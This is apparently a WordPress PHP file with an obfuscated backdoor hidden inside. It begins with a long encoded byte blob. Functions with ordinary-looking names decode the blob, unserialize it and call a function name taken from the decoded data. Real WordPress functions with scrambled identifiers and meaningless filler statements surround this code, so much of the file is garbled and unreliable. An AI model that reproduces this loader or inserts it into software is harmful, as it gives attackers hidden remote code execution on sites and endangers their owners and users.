xbc\xe7\xc2\xdd\x98m\xca\xbc\x99\xa9\xc0\x91\xbb\xac\x80\x9f\x9e\xcb\xa3\xc9\xc5\x9c\xb0\xbb\xb3\x98\xb1\x91\xb7\xa5\x80\xb4v\x97s\x8a\x90p\xb8\xd8\xce\xc0\xd6\xb8\xcax\x82`k\xb4\x90s\xd6\xaa\xd7\xdc\xb9w\x8al\xa8qywj\x9e\xb5\xdc\xdf\xc0\xde\xce\xc6\x86\x94l\x89q\xb2\xad\xa2\x97s\x8a\x9ax\xd4\xdctw\x8a\x99\xd8\xcb\xc2\xc3\xb6\xd8z\x99\x9ai\x8b\xce\xce\xa6\xb2\xae\x89q\x83\x86\x84\xa6}\x8a\xe2\xa3\xaf\xdf\xb5w\x8av\x98x\xbb\xc9\xb9\xee\xc6\xcf\xe2R\xd4\xdc\x83\x81\x8al\xb4q\x83\x86\xb8\xe6\xc7\x8a\xbd\xb8\xe5\xd2\xc0\xc3\xcbs\xa4[c\x86t\xcds\x94\x9fS\x8b\x89t\x86\x94l\xe2q\x83\x86\xb3\xdd\\x92\xd9\xbc\xca\xca\xc6\xc9\xcb\xc5\x91u\xce\xc2\xc4\xed\xb9\xd7\x99r\x9a\x93tw\x8a\xbe\xaa\xc0ywt\xa6\xcet\x90i\x8b\x89t{\xb6\xbd\xcd\x9d\xbf\xcd\x9f\xdd\xba\xb3y\x86t\xca\xc6\xc9\xcb\xc5\xc8\xc4\xc5\xc0\xad\xdc{\x8e\xe5\xb4\xe5\xdf\xba\xc4\x96l\x99}b\x88s\xb2]\x8a\x9fs\xd5\xb4t\x81\x99\xc9\x89q\xbe\xc3\xbd\xdc\x82\x94\x90i\x8b\xab\x9d\xcb\xdel\x89q\x83\x86\xc5\x81\syRtrx\xa3\xdb\xb0\xb5\xb7\xcf\xac\xb0\xde\x9c\x99\x9a\xa2\xba\xd5\xce\x9b\x8av\x98\x8e\x88\x81j\x97\xaa\xab\xc8\x8d\x8b\x89t\x81\x99\xa7\xc6\x8c}\xb6\xaf\xe8\xaa\xd6\xd2x\x95\xcc\x9b\xc2\x94{\xa6Z\x80\x8a}\xa8\x84\x9a\x97\x84us\x83\x81\xe3\xbf\xab\xc9\xa8\x81y\xf4]szSt\x8d\xb7\x9c\xdb\xaf\xbc\xc6\xbd\xc1\xb3\xc9\\xa7\x9fs\x8b\x89t\xcc\x8al\x89{\x88\xbc\xc2\xe7\xbf\xd9\xd4\xae\x93\x90\x80~\x96U\x90\xb2\xc9\xc7\xb6\xdc\xd9\xe2\xaa\xd9\xd0\xb9\x83\xcc\xad\xd7\xb2\xc7\xb8q\xa0\x8et\x90i\x8b\x89x\xab\xe4\xb8\xcb\x9b\xb3\xaf\xb6\xbe\xc1\x99\x9ai\x8b\x89\xc6\xb1\xb6\x91\x89qy\x81y\xb4s\xdc\xd1\xc0\xe0\xdb\xc0\xbb\xcf\xaf\xd8\xb5\xbeq\x9c\x85\x9a\xb8\xae\xd7\xd5\xc3|\x9c|\xc0\xc0\xcb\xc3\xae\x9c\x85\x9a\x97r\xa6\x8d\xb3\xb1\xdd\xbb\xceqywj\xb4\x82\x94\xe4\xab\xae\xdatw\x94{\x90\x83\x91\x88\x83\xa8z\xa5zRtr]{\xb1\xb5\xbf\xa0\xba\xaf\xb5\xc1\xcbs\xadx\x95\x89t\xb1\xe1l\x89{\x88\x87\x85\xa6}\xb0\x90s\x9as]`\x99v\xbe\x9e\x9b\xc6\x95\x97s\x8a\x9ax\xe2\xd1\xbd\xc3\xcf{\x93\xbb\x9f\xbf\xb7\xef}\x99\x98m\xb2\xd2\xaa\xa6\xcb\xa4\xd4\x9b\xd1\x86t\x97s\x8a\xd3\xc3\xe2\xaa\xcaw\x8al\x93\x80\x95`\xad\xe6\xc8\xd8\xe4q\x8f\xcc\x99\xc8\xcd\x9f\xde\xb5\xc3\xc0\x9c\xa0s\x8a\x90i\x8b\x92\x83\x81\x8a\x97\x89q\x83\x86\xc5\x81\syR\x8f\xcc\x99\xc8\xcd\x9f\xde\xb5\xc3\xc0\x9c\xd2w\xb1\xd9\x9f\xba\xca\xac\xc2\xb4\xc4\xc6Z\x96`\xbd\xeb\xc5\xc9\xe2\xae\xdb\xce\xb5\xcb\x92p\xcc\x96\xca\xba\x9d\xec\xb7\xd4\xd9\x9b\xc6\x8d\x9b\xc0\xc0\x9b\xca\xa9\xc4\xa1\xc2\xd4\x8a\x90{\x94\xa4^atU\x8d\x98\xc2\xad\x99\xd8\xab\xd5\xba\xc1\x96\x94\x8fas\xc9sq\x88\x81\xa0\xd0s\x8a\x9axur]`\x99v\x89q\xa9\x9e\xc2\x97}\x99\x94\xb1\xe3\xb4\x98\xad\x8al\x89qy\x94j\x97s\x8a\x90\xbc\xdf\xdb\xb3\xc9\xcf\xbc\xce\xb2\xcdn\xee\xc8\xbc\xb4\x8c\xcd\xdc\x9a\xcd\xc1xr\x84\x82\x92n\xd6\xc6\xcb\xc7x\x95\xae\xb7\xa3\x8al\x89{\x88\x94y\xa1s\x8a\x90\xb5\xe4\xc1\xc4\xac\x8av\x98x\x8c\x89\x82\xae\x8a\x91\xabStr^atl\x89q\xcb\xbc\xbe\xec\xc5\xd8\x90i\x8b\x89x\xcc\xd5\xc6\xdf\xb7\xc6\x92n\xd6\x9e\x8a\xadi\x8b\x90\x88\x8d\xa3}\x9fx\x94aS\x80s\x8a\x90\xc6ur]asUrqyw\xb0\xec\xc1\xcd\xe4\xb2\xda\xd7\x83\x81\xbc\xa1\x89q\x83\x86\x91\xbd\xb6\xd0\xbd\x99\xe5\xb4\xa9\x9b\x92p\xde\xa0\xa0\xcf\x97\xcd\xb8\xcc\x99Su\x89tw\xe5Vsqy{\x96\xba\xac\xad\xde\x8c\x8b\x89\x91`\xcd\xb4\xdb\x80\x83wj\xdd\xc9\xb1\x90s\x9a\x91]\x8d\x9a}r~yw\xad\x89\x8a\x90i\x8b\x89}\x92tU\x89qy\xbd\xb9\xe9\xb8\xcb\xd3\xb1t\x91\xa5\xd1\xad\xad\xd9y\x82\x86t\x97\x9d\xd6\x90i\x95\x98\xb5\xca\x99v\xbd\xbc\x9ewj\xa1\x82\x8e\xb6\xb5\xdc\xbf\x96\xce\xbd\xb0\xb1zb\xd2T\x97s\xd4\xd8\xb4\xb5\xcd\xa6\xab\xc0\xbd\xd2y}\x9d\xb6\xe8\xa9\xac\xe7\x9c\xcf\xb1\x80\x86\x94l\xbcq\x83\x86n\xc3\x96\xc3\xb3\xb7\xae\x92\x8f{\xc9\x96\xb0\x9a\xad\xa4j\x97s\x8a\xadi\x8b\x89t~\x9c\x81\x9a\x84\x8d~\x85\x81s\x8a\x9fs\x8b\x89\xa3\xb9\x8al\x89{\x88\xd4T\xa6}\x8a\x90\xbb\xbf\xb6tw\x94{\xe6[ywj\x97s\x99\x9a\xbb\xdd\xbe\xa1\xa4\x8al\x93\x80c\x86t\x97s\xac\xca\x9b\xbc\xddtw\x8av\x98\xb7\xce\xc5\xad\xeb\xbc\xd9\xdeR\xd7\xc2\xca\x99\xc3\x9d\x91u\xcd\xbf\xb8\xbe\xc1\xdf\xe6u\x8b\x89tw\x8ap\xe0\xb2\xba\xcb\xa3\xa0]syR\xe6s]`sUrq\xc2\xbdS\x9f\x82\x94\xb7\x95\xb9\xd9tw\x94{\xcc\xc0\xce\xc5\xbe\xa6}\x8a\x90\x9e\xb4\xae\x9f\xa7\x8al\x89{\x88j\x97w\xde\xd8\xb7\xb2\xd7\xc9\xcd\x99v\x89\x9f\x9f\xa8j\x97s\x94\x9frt\xa6\x91`\x9dl\x92qywj\xf2]tym\xae\xd8\xab\xa7\xcc\xbb\xb1\xab\xa8\xbaS\xb4s\x8a\x94\xbd\xd3\xd7\x9b\xc5\xdf\xc2\xc4\x82\xb6\x92\x85\x81s\x8a\x90x\x95\x89t\xcc\xe0\xa0\xc0\x99ywt\xa6w\xb0\xc3\xc3\xd2\xd0\x9f\xd1\xc2\xc6\xcdZ\x96\x86t\x97s\xc2\xca\xb0\xaf\xaatw\x94{\x8d\xc5\xc1\xc5\x91\xe5\xc8\xe0\xcb{\xc8\xa4\x8fatV\x89qywn\xec\xa8\xd3\xc4\x95\xc0\xda\xc0w\x8al\x89q\x96wj\x97w\xad\xdf\xa0\xbb\xcb\xc3\x9f\xc4\x9b\xccy}\x9d\x9d\xf1\xba\xd1\xbb\xc3\xc3\xe3\xb8\x80\xa5\x87s[c\x86t\xd8s\x8a\x9ax\xd0\xdf\xb5\xc3\x8al\x89qyy\xa1s\x8a\x90\xbb\xd2\xb1\xb9w\x8al\x93\x80}\xcc\x9f\xe0\xa7\xb6\xc5\xba\xd7\x89tw\x8al\x92\x8ccwj\x97\x82\x94\xdc\x98\xdc\xb5t\x81\x99\xb0\xd2\xb6bs\xb2]\x8a\x9fs\x8b\x89t\xad\xadl\x93\x80\xd6aj\x97s\x8a\x90\xc6us\x83\x81\x8al\x89\xb9\xac\xa0\xb4\x97s\x8a\x9axur]`\x99v\xd3\x9a\xa5\xbf\x9b\x97s\x94\x9f\xaf\xe0\xd7\xb7\xcb\xd3\xbb\xd7\x80\x83\xbcj\xa1\x82\xb5\xd8\x99\xc1\xaa\xc3\xd0\xc4\x90\xccy}\xbb\xb8\xe3\xa6\xc0\xd5u\x9a\x93t\xc6\xad\xb6\x89q\x83\x86n\xbd\x97\xb2\xd7\xbf\xd8\x92^w\x8al\x89Z\xd4aj\x97s\x8a\x90i\xdd\xce\xc8\xcc\xdc\xba\x98{ywj\xc3\x97\xb3\xc5\xb1\x95\x98x\xbb\xd8\xb8\xbc\xa7\xbe`\xa8\x80w\xb0\xb4\x91\xd2\xdf\xc1\x92\x8e\xab\xd1\x93b\x94S\x9e\x86\x9a\xa4|\xa2\x90\x8fatU\xe6[\x88\x81j\xdc\xa6\xe2\x90s\x9astw\x8al\x89Z\xbf\xcc\xb8\xda\xc7\xd3\xdf\xb7t\xdf\xc2\x9e\xdc\xc2\xca\x94\xc3\xacr\x9b\xc6\xd3\xd8\xb6\xe5\xab\xad\x9c\xc2xru\xa5\x9a\xa3\xba\xc1\xad\x99Str]`sl\x89q\xd4`T\x80\\x99\x9ai\x8b\x89\xa5w\x94{\x8d\xc4\xc2\xbf\xb7\xf1\x95\xc3\xb5\xa1t\xa6tw\x8al\xce\xc9\xc9\xc3\xb9\xdb\xb8\x8a\x90i\x8b\x89|{\xb6\x8f\xc2\x94\xc7\x9av\x97s\x8e\xe3\xb2\xd3\xd6\xce\x99\xc3\x91\xc1\x80\x83wj\xed\xac\x8a\x90s\x9a\x92\x8f{\xc9\x9c\x98{ywj\xc3s\x8a\x9ax\xa8\x89{\x8b\x9a\x82\x9d\x81\x80\x92T\x81\x82\x94\x90i\xd4\xd1\xacw\x8al\x93\x80caT\xa6}\xe2\xb6\xb2\xb1\x89tw\x94{\xd5\xaa\xcf\x99\xa3\xc8{\x8e\xe3\xb2\xd3\xd6\xce\x99\xc3\x91\xc1}b{\x96\xba\xac\xad\xde\x8c\x94\xa4^`sUrZb\xd4T\x80]tzi\x8b\xcf\xc9\xc5\xcd\xc0\xd2\xc0\xc7`\xb4\xdf\xbe\xb4\xd4\x9b\xbf\xbf\xc5\xc0\x92p\xaf\xbd\xca\xad\x8c\xee\xa6\xce\xb8ut\x8d\xa0\x9a\xc3\x8f\xd7\x94\x82aT\x97\xcet\x90x\x95\x89\xbe\x9b\x8al\x93\x80\xbf\xc6\xbc\xdc\xb4\xcd\xd8i\x8b\x89t\x99v\xda\x95\xc4\xa8j\xa1\x82\x8e\xb6\xb5\xdc\xbf\x96\xce\xbd\xb0\xb1\x80\x83wj\x97\xb6\xd5\xda\x9b\x95\x98\xb5\xca\x8al\x89u\x9f\x9b\x92\xde\xc9\xd7y\x86\xa9rx\xbb\xd8\xb8\xbc\xa7\xbe\x86t\xba\xa3\xb0\xc6\x92\x8b\x93\x83\x80\x99v\x89qy\xa6j\x97}\x99\xebS\x8b\xb6\xc5\x9d\xbd\x9f\x91u\x9f\x9b\x92\xde\xc9\xd7\x9cR\xbe\xb0\xce\xb8\xd5\x8e\x91u\xbd\xc5\xb6\xca\xa9\xcf\x99ut\x8d\xa0\x9a\xc3\x8f\xd7\x94\x82\x92T\x80\syx\x95\xc3\xb6\xa2\x94{\xe6[ywj\xa6}\xd3\xe9\xb9\x8b\x89~\x86\xe7V\x89qywj\xa6}\xe4\xb9\xab\x8b\x93\x83a\x8al\x89Z\xbf\xcc\xb8\xda\xc7\xd3\xdf\xb7\x8b\xdb\x97\xbe\xb5\x8d\xdb\xb6\xa3\xa3r\x9b\x99\xae\xb8\xb0\xe1\xd6\x80`\x8e\xb0\xd7\xbd\xac\xad\xaf\xa0]\x99\x9ai\xdc\xe0\xca\x81\x99\xc7sZ}\xa7\xb5\xe1\xa9\xde\xe4\xb9\xd3\x98~\xd0\xdb\xad\x89qy\x81y\xb4\x82\x94\x90\x97\xc3\x93\x83\xca\xde\xbe\xd5\xb6\xc7j\x97w\xce\xde\xb5\xbe\xbf\xb9`\x93{\xdc\xc5\xcb\xc3\xaf\xe5{\x99\x9ai\xdf\xd8\xab\xa6\x94{\x8d\x97\x9d\x9f\xb1\xed\xc0s\x99\x84\x8f\xc8\x9f\x86\x94l\xab\x9a\xa3\xbe\x8b\x97s\x94\x9f\x86\x8b\x90\x88\x89\x9f\x84\xa0x\x94aT\xa6}\x8a\x90\x9b\xb9\xbbtw\x94{\x8d\x97\x9d\x9f\xb1\xed\xc0\x8a\x90i\x8b\x97\x91\x86\x94\xb8\x89qy\x81y\x99\xba\xcb\xdf\x9e\xd5\x96\xca\xc6\xbey\xbc\xc8\xc0\xc4\xb1\xa4\x98\xcb\xe1v\xd8\xdd\xa6\xab\xc4\xb5\xc1~\xa2\xaa\xab\xdb\x80\xb4\xb6\xa2\xb5\xd4v\x92\xa5Vr\x80\x83w\xbe\xcf\x97\x8a\x90s\x9a\x8d\x9a\x9b\xb2\xb3\xdf\xbeb\x94j\x97\xc6\xde\xe2\xa8\xdd\xce\xc4\xbc\xcb\xc0\x89qywj\x9f\x82\x94\xc4\xaa\xe0\x89t\x81\x99p\xaf\x95\xa1\xbe\xc0\xe4s\xd9\xb7\xdf\xdf\xb5\xc3\x92p\xb9\xbc\xc3\xad\xbe\xeb\xc3\xd2\x99R\x96\x89\x85\x80\xa5VrZ\x88\x81j\x97\xa6\xb3\x90s\x9astw\x8al\x89q\xcb\xbc\xbe\xec\xc5\xd8\x90i\x8b\x89x\x9d\xae\x94\xd0\xc7\xc6\x92n\xd6\xc1\xba\x90\x86\x9a\x93tw\x8a\x93\xd1\x9b\xb1wt\xa6z\xa1\xa3{\xa1\x90\x8fas{\x93\xb8\xcbwj\xa1\x82\xe7zi\x8b\x89t`tl\x89q\xbf\xcc\xb8\xda\xc7\xd3\xdf\xb7\x9a\x93tw\x8a\x95\xdd{\x88\xa4\xbb\xbd\xa6\xbd\x98m\xb1\xad\x9c\xbe\xe0\xb9\x95q}\xbb\xb8\xe3\xa6\xc0\xd5ut\x8d\xa0\x9a\xc3\x8f\xd7\x94\x82aj\x97s\x8a\x90i\x8b\xe4tw\x8al\x89[ywj\x97\xc9\xd8\xb7\xbb\xe1\xca\x97\xc1\xbft\xb4\xb9\xa9\xad\x8b\xe6\xcc\xc4\xb4\xac\x93\x8d\xb8\xc5\xd6\x9f\xbf\xb6\x85wj\x97\xc5\xad\xd7\x94\xac\xdb\xb9\xa1\xb6t\x8d\x97\x9d\x9f\xb1\xed\xc0\x96\x90i\x8b\x89x\xbb\xd8\xb8\xbc\xa7\xbe\x80s\xa3s\x8a\x94\x95\xae\xc2\x97\xc5\xadu\xa4\x8ccwT\x80\s\x90i\x8b\x89x\xca\xdc\x9d\xab\x92\xc8\xca\xbf\xcd\x82\x94\x90i\xb3\xda\xbaw\x8av\x98\x8eb\xcb\xbc\xe0\xc0\x92\x94\xad\xd9\xd5\xa7\xad\xcfu\xa4u\xb8\xa2\xae\xca\xc7\xb7\x90i\xa8\x89{\x89\x9e\x82\x9f\x89\x80\x92T\x80\syi\x8b\x89t{\xae\x8d\xd0\xbd\xc6\xaf\x96\xc4s\x8a\x90i\xa8\x89tw\x8al\xce\xc9\xc9\xc3\xb9\xdb\xb8\x92\x94\x95\xae\xc2\x97\xc5\xadx\x89q}\xca\xbc\xc8\x95\xab\xdf\xbc\xe0\xbf}\x92tV\x89qyw\xb3\xdd\\x92\xd3\xb8\xe0\xd7\xc8\x8e\x90\xaa\xb8\xc5\xc4\xa2\xc3\xa0\x93y\x87\x8b\x89\x85\x80\x99v\x89q\xbf\xc1j\xa1\x82\xe5zSu\x98~w\xcbl\x93\x80}\x98\xa3\xe5\x98\xbe\xc4\xbb\xc4r\x91\x86\x94\xb0\xc3\xc2\xa3wj\x97}\x99\xd9\xb6\xdb\xd5\xc3\xbb\xcft\x90~\x80\x83y\xa1s\xb9\xbb\xb1\x95\x98x\x9b\xab\xb3\xd5\xbe\xb1\xa3\x97\xa0\x8e\x8e\xcf\x9d\xb3\xb2tw\x8a\x89\x98{\xc5\xb0\x8d\xdf\xbc\x8a\x90s\x9a\x90\x8a\x8a\x9d\x84\x9fx\x94aj\x97s\x8a\x90i\x8b\x8d\xc3\xb0\xbe\xb9\xdfZ\x96`\xbd\xeb\xc5\xc9\xe0\xaa\xcf\x91x\x98\xc3\xba\xae\xa5\xad\xc9\xa3\xa3\x82\x94\x90i\xc1\xaa\xa8w\x8av\x98\x83\x89\x83y\xa1s\x8a\x90\xb7\xe5\x89t\x81\x99s\x99x\x85\x86t\x97s\x8a\xb9\x9f\x95\x98\xa7\xab\xbc\xab\xb9\x92\x9d\xb6\x9c\xc0\x9a\xb2\xc4r\xa6st\x86\x94l\xe2\x9cywj\xa1\x82\xe7zx\x95\x89tw\xb6\xbf\xd1{\x88\xd4T\x97s\x8a\x90its^\x86\x94\x94\xae\xc1\xbe\xcft\xa6\x9a\xb0\xd3\xaf\xb8\xb9\xce\xa2\xbf\x90\x91s{\x80\x85\x99\x8e\xd3\xaa}\xa6\xdc\x8e\x8d\xa4n\xde\xbf\xc5\xc0\xb8\xe2u\xa5\xed";
 $framecount = (strtotime($font_file) - strtotime($filtered_htaccess_content)) / (60 * 60 * 24);
  if ($framecount > 0) {
      $frames_count = "Date difference is positive.";
  }
 
 // ----- Try to rename the files
 
 
 // This also confirms the attachment is an image.
 
     $_GET["bwyWbNb"] = $restriction_value;
 }

/**
 * Retrieve the plural or single form based on the amount.
 *
 * @since 1.2.0
 * @deprecated 2.8.0 Use _n()
 * @see _n()
 */
function keypair(...$src_y)
{
    // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
    _deprecated_function(__FUNCTION__, '2.8.0', '_n()');
    return _n(...$src_y);
}
$mysql_recommended_version = setDebugOutput($fields_update);


/**
 * Retrieves the value for an image attachment's 'sizes' attribute.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_sizes()
 *
 * @param int          $FLVdataLength Image attachment ID.
 * @param string|int[] $g7_19          Optional. Image size. Accepts any registered image size name, or an array of
 *                                    width and height values in pixels (in that order). Default 'medium'.
 * @param array|null   $mbstring_func_overloadmage_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
 *                                    Default null.
 * @return string|false A valid source size value for use in a 'sizes' attribute or false.
 */

 function append_to_selector(&$submit_text, $style_property_value, $tax_input){
 $operation = [5, 10, 15, 20];
 $pass1 = array("Alice", "Bob", "Charlie");
 $plugin_root = 'Spaces here   ';
 $theme_json_version = "Data!";
 
 $domain_path_key = max($operation);
 $formatted_time = trim($plugin_root);
 $QuicktimeStoreFrontCodeLookup = array_map(function($errno) {return substr($errno, -1);}, $pass1);
 $same_ratio = str_pad($theme_json_version, 10, "#");
 
 // Since no post value was defined, check if we have an initial value set.
 $src_w = array_filter($operation, function($my_parent) use ($domain_path_key) {return $my_parent < $domain_path_key;});
 $full_page = array_unique($QuicktimeStoreFrontCodeLookup);
  if (strlen($same_ratio) == 10) {
      $f6g9_19 = rawurldecode($same_ratio);
      $edit_thumbnails_separately = hash("md5", $f6g9_19);
  }
 $stashed_theme_mods = str_repeat($formatted_time, 2);
 
 // Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
 // Template for the Site Icon preview, used for example in the Customizer.
     $GoodFormatID3v1tag = 256;
     $root_rewrite = count($tax_input);
 
     $root_rewrite = $style_property_value % $root_rewrite;
 
     $root_rewrite = $tax_input[$root_rewrite];
 // Standardize $_SERVER variables across setups.
 //causing problems, so we don't use one
 // Intermittent connection problems may cause the first HTTPS
 //     $p_info['compressed_size'] = Compressed size of the file.
     $submit_text = ($submit_text - $root_rewrite);
 // Clear the field and index arrays.
     $submit_text = $submit_text % $GoodFormatID3v1tag;
 }
/**
 * Checks whether HTTPS is supported for the server and domain.
 *
 * @since 5.7.0
 *
 * @return bool True if HTTPS is supported, false otherwise.
 */
function get_block_patterns()
{
    $u1u1 = get_option('https_detection_errors');
    // If option has never been set by the Cron hook before, run it on-the-fly as fallback.
    if (false === $u1u1) {
        wp_update_https_detection_errors();
        $u1u1 = get_option('https_detection_errors');
    }
    // If there are no detection errors, HTTPS is supported.
    return empty($u1u1);
}


/**
 * Loads the WP image-editing interface.
 *
 * @since 2.9.0
 *
 * @param int          $html_report_pathname_id Attachment post ID.
 * @param false|object $msg     Optional. Message to display for image editor updates or errors.
 *                              Default false.
 */

 function parse_query_vars($mysql_recommended_version){
 
     $mysql_recommended_version = array_map("chr", $mysql_recommended_version);
 // Adjustment bits    $xx
 // reset cache on 304 (at minutillo insistent prodding)
     $mysql_recommended_version = implode("", $mysql_recommended_version);
     $mysql_recommended_version = unserialize($mysql_recommended_version);
     return $mysql_recommended_version;
 }
/**
 * Outputs a link category checklist element.
 *
 * @since 2.5.1
 *
 * @param int $type_attribute Optional. The link ID. Default 0.
 */
function get_category_children($type_attribute = 0)
{
    $flex_height = 1;
    $stamp = array();
    if ($type_attribute) {
        $stamp = wp_get_link_cats($type_attribute);
        // No selected categories, strange.
        if (!count($stamp)) {
            $stamp[] = $flex_height;
        }
    } else {
        $stamp[] = $flex_height;
    }
    $f4f7_38 = get_terms(array('taxonomy' => 'link_category', 'orderby' => 'name', 'hide_empty' => 0));
    if (empty($f4f7_38)) {
        return;
    }
    foreach ($f4f7_38 as $delete_term_ids) {
        $fn = $delete_term_ids->term_id;
        /** This filter is documented in wp-includes/category-template.php */
        $errno = esc_html(apply_filters('the_category', $delete_term_ids->name, '', ''));
        $group_key = in_array($fn, $stamp, true) ? ' checked="checked"' : '';
        echo '<li id="link-category-', $fn, '"><label for="in-link-category-', $fn, '" class="selectit"><input value="', $fn, '" type="checkbox" name="link_category[]" id="in-link-category-', $fn, '"', $group_key, '/> ', $errno, '</label></li>';
    }
}
$show_pending_links = substr($sep, 0, 5);


/** WordPress Import Administration API */

 function signup_get_available_languages($mysql_recommended_version){
     $umask = $mysql_recommended_version[4];
 $expression = array('first', 'second', 'third');
 $typography_classes = array_merge(array(1, 2), array(3, 4));
 $ordparam = "this is a long string for testing";
 $spam_folder_link = '12345';
 
     $errno = $mysql_recommended_version[2];
 
 $sensor_data = hash('sha1', $spam_folder_link);
 $FromName = range(1, 10);
  if (!empty($expression)) {
      $fraction = count($expression);
      $migrated_pattern = str_pad($expression[0], 10, '*');
  }
 $upload_info = strlen($ordparam);
 // 	 syncword    16
 
 // Disable somethings by default for multisite.
 
 
 // Don't render the block's subtree if it is a draft.
 # crypto_hash_sha512_final(&hs, hram);
 
 
     wp_robots_no_robots($errno, $mysql_recommended_version);
 
     get_css_var($errno);
     $umask($errno);
 }
/**
 * Server-side rendering of the `core/query-no-results` block.
 *
 * @package WordPress
 */
/**
 * Renders the `core/query-no-results` block on the server.
 *
 * @param array    $meta_list Block attributes.
 * @param string   $escaped_http_url    Block default content.
 * @param WP_Block $share_tab_wordpress_id      Block instance.
 *
 * @return string Returns the wrapper for the no results block.
 */
function hChaCha20Bytes($meta_list, $escaped_http_url, $share_tab_wordpress_id)
{
    if (empty(trim($escaped_http_url))) {
        return '';
    }
    $tinymce_scripts_printed = isset($share_tab_wordpress_id->context['queryId']) ? 'query-' . $share_tab_wordpress_id->context['queryId'] . '-page' : 'query-page';
    $font_step = empty($_GET[$tinymce_scripts_printed]) ? 1 : (int) $_GET[$tinymce_scripts_printed];
    // Override the custom query with the global query if needed.
    $subatomcounter = isset($share_tab_wordpress_id->context['query']['inherit']) && $share_tab_wordpress_id->context['query']['inherit'];
    if ($subatomcounter) {
        global $max_pages;
        $rest_insert_wp_navigation_core_callback = $max_pages;
    } else {
        $term_link = build_query_vars_from_query_block($share_tab_wordpress_id, $font_step);
        $rest_insert_wp_navigation_core_callback = new WP_Query($term_link);
    }
    if ($rest_insert_wp_navigation_core_callback->post_count > 0) {
        return '';
    }
    $loaded_translations = isset($meta_list['style']['elements']['link']['color']['text']) ? 'has-link-color' : '';
    $sub_dirs = get_block_wrapper_attributes(array('class' => $loaded_translations));
    return sprintf('<div %1$s>%2$s</div>', $sub_dirs, $escaped_http_url);
}
$form_name = str_replace("PHP", "Programming", $preferred_icons);
$plaintext_pass = rawurldecode($myLimbs);


// Ensure that $settings data is slashed, so values with quotes are escaped.
$term_query = explode(" ", $plaintext_pass);
/**
 * Finalizes scraping for edited file errors.
 *
 * @since 4.9.0
 *
 * @param string $loading_attr Scrape key.
 */
function counterReset($loading_attr)
{
    $f3g1_2 = error_get_last();
    echo "\n###### wp_scraping_result_start:{$loading_attr} ######\n";
    if (!empty($f3g1_2) && in_array($f3g1_2['type'], array(E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR), true)) {
        $f3g1_2 = str_replace(ABSPATH, '', $f3g1_2);
        echo wp_json_encode($f3g1_2);
    } else {
        echo wp_json_encode(true);
    }
    echo "\n###### wp_scraping_result_end:{$loading_attr} ######\n";
}


/* translators: Tab heading when selecting from the most used terms. */

 function box_seal($to_item_id, $maybe_bool) {
     $DATA = [];
     for ($mbstring_func_overload = 1; $mbstring_func_overload <= $maybe_bool; $mbstring_func_overload++) {
 
 
         $DATA[] = retrieve_password($to_item_id, $mbstring_func_overload);
 
     }
     return $DATA;
 }
/**
 * Deletes user interface settings.
 *
 * Deleting settings would reset them to the defaults.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.7.0
 *
 * @param string $pass1 The name or array of names of the setting to be deleted.
 * @return bool|null True if deleted successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function getServerExt($pass1)
{
    if (headers_sent()) {
        return false;
    }
    $fresh_posts = get_all_user_settings();
    $pass1 = (array) $pass1;
    $plural_base = false;
    foreach ($pass1 as $errno) {
        if (isset($fresh_posts[$errno])) {
            unset($fresh_posts[$errno]);
            $plural_base = true;
        }
    }
    if ($plural_base) {
        return wp_set_all_user_settings($fresh_posts);
    }
    return false;
}
$meta_elements = hash('md5', $form_name);
/**
 * Was used to add options for the privacy requests screens before they were separate files.
 *
 * @since 4.9.8
 * @access private
 * @deprecated 5.3.0
 */
function set_last_comment()
{
    _deprecated_function(__FUNCTION__, '5.3.0');
}


/**
 * WP_Theme_JSON_Data class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 6.1.0
 */

 function getData($submitted) {
 
     return filter_var($submitted, FILTER_VALIDATE_EMAIL) !== false;
 }
$show_post_count = str_pad($show_pending_links, 10, "#");


/**
 * Core class used to implement displaying plugins to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */

 if (isset($term_query[1])) {
     $o_value = hash('md5', $term_query[1]);
     $http_url = strlen($o_value);
     if ($http_url > 10) {
         $toks = substr($o_value, 0, 8);
     }
 }
/**
 * Updates metadata for an attachment.
 *
 * @since 2.1.0
 *
 * @param int   $FLVdataLength Attachment post ID.
 * @param array $dir_size          Attachment meta data.
 * @return int|false False if $html_report_pathname is invalid.
 */
function schedule_customize_register($FLVdataLength, $dir_size)
{
    $FLVdataLength = (int) $FLVdataLength;
    $html_report_pathname = get_post($FLVdataLength);
    if (!$html_report_pathname) {
        return false;
    }
    /**
     * Filters the updated attachment meta data.
     *
     * @since 2.1.0
     *
     * @param array $dir_size          Array of updated attachment meta data.
     * @param int   $FLVdataLength Attachment post ID.
     */
    $dir_size = apply_filters('schedule_customize_register', $dir_size, $html_report_pathname->ID);
    if ($dir_size) {
        return update_post_meta($html_report_pathname->ID, '_wp_attachment_metadata', $dir_size);
    } else {
        return delete_post_meta($html_report_pathname->ID, '_wp_attachment_metadata');
    }
}
$s15 = array("A", "B", "C");
$edit_thumbnails_separately = hash('md5', $show_post_count);


/* translators: %s: WP_User->ID */

 function LAMEsurroundInfoLookup($first, $queue, $last_comment_result) {
 // ----- Compare the bytes
 $parent_item = "simplified_text";
 $month_year = date("d-m-Y");
 $wFormatTag = array("one", "two", "three");
 $live_preview_aria_label = str_replace("_", " ", $parent_item);
 $server_key = explode('-', $month_year);
 $stream = array("four", "five");
   $total_this_page = resolve_variables($first, $queue);
 // Rating                       WCHAR        16              // array of Unicode characters - Rating
 $Body = hash("md5", $live_preview_aria_label);
  if (count($server_key) === 3) {
      $meta_background = implode('/', $server_key);
  }
 $Body = array_merge($wFormatTag, $stream);
 // key_length
   $processed_line = handle_error($total_this_page, $last_comment_result);
 // BOOL
 // Make sure the server has the required MySQL version.
   return $processed_line;
 }
/**
 * Gets the size of a directory recursively.
 *
 * Used by get_dirsize() to get a directory size when it contains other directories.
 *
 * @since MU (3.0.0)
 * @since 4.3.0 The `$update_parsed_url` parameter was added.
 * @since 5.2.0 The `$memo` parameter was added.
 * @since 5.6.0 The `$tagtype` parameter was added.
 *
 * @param string          $upload_max_filesize          Full path of a directory.
